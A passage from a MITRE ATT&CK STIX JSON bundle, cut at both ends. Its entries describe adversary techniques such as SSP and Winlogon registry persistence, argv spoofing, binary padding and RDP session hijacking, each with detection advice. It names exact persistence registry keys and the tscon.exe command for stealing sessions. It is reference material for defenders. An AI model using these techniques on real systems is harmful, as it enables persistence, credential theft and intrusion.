            "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "created": "2020-01-24T17:16:11.806Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/005",
                    "external_id": "T1547.005"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:46:38.641Z",
            "name": "Security Support Provider",
            "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--514dc7b3-0b80-4382-80a9-2e2d294f5019",
            "created": "2025-03-27T20:37:52.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/011",
                    "external_id": "T1036.011"
                },
                {
                    "source_name": "Microsoft XorDdos Linux Stealth 2022",
                    "description": "Ratnesh Pandey, Yevgeny Kulakov, and Jonathan Bar Or with Saurabh Swaroop. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/"
                },
                {
                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
                    "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:30.391Z",
            "name": "Overwrite Process Arguments",
            "description": "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process\u2019s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges. \n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc/<PID>/cmdline` and displayed by tools like `ps`.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) ",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
            "created": "2017-05-31T21:30:20.148Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1004",
                    "external_id": "T1004"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/579.html",
                    "external_id": "CAPEC-579"
                },
                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:31.608Z",
            "name": "Winlogon Helper DLL",
            "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.",
            "kill_chain_phases": [
                {
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                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
            "created": "2017-05-31T21:30:22.096Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1009",
                    "external_id": "T1009"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/572.html",
                    "external_id": "CAPEC-572"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
                    "url": "https://www.virustotal.com/en/faq/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:31.768Z",
            "name": "Binary Padding",
            "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Martin Jirkal, ESET"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "created": "2020-01-30T16:18:36.873Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1550",
                    "external_id": "T1550"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
                },
                {
                    "source_name": "NIST Authentication",
                    "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.",
                    "url": "https://csrc.nist.gov/glossary/term/authentication"
                },
                {
                    "source_name": "NIST MFA",
                    "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.",
                    "url": "https://csrc.nist.gov/glossary/term/multi_factor_authentication"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:30.693Z",
            "name": "Use Alternate Authentication Material",
            "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Blake Strom, Microsoft Threat Intelligence",
                "Pawel Partyka, Microsoft Threat Intelligence"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Containers",
                "Identity Provider",
                "Office Suite",
                "Linux"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Creation",
                "Active Directory: Active Directory Credential Request",
                "Web Credential: Web Credential Usage",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "created": "2017-05-31T21:30:59.769Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1076",
                    "external_id": "T1076"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html",
                    "external_id": "CAPEC-555"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Alperovitch Malware",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
                },
                {
                    "source_name": "RDP Hijacking Korznikov",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "Kali Redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "url": "https://github.com/nccgroup/redsnarf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:32.038Z",
            "name": "Remote Desktop Protocol",
            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41",
            "created": "2020-10-02T17:03:45.918Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1597/001",
                    "external_id": "T1597.001"
                },
                {
                    "source_name": "D3Secutrity CTI Feeds",
                    "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.",
                    "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:16:02.261Z",
            "name": "Threat Intel Vendors",
            "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
            "created": "2017-05-31T21:30:25.159Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1011",
                    "external_id": "T1011"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:29:20.961Z",
            "name": "Exfiltration Over Other Network Medium",
            "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd",
            "created": "2020-10-20T00:08:21.745Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1602/002",
                    "external_id": "T1602.002"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:40.804Z",
            "name": "Network Device Configuration Dump",
            "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
            "created": "2020-10-02T14:54:59.263Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589",
                    "external_id": "T1589"
                },
                {
                    "source_name": "OPM Leak",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
                    "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
                },
                {
                    "source_name": "Detectify Slack Tokens",
                    "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
                    "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
                },
                {
                    "source_name": "GitHub truffleHog",
                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
                    "url": "https://github.com/dxa4481/truffleHog"
                },
                {
                    "source_name": "GrimBlog UsernameEnum",
                    "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
                    "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
                },
                {
                    "source_name": "Register Uber",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
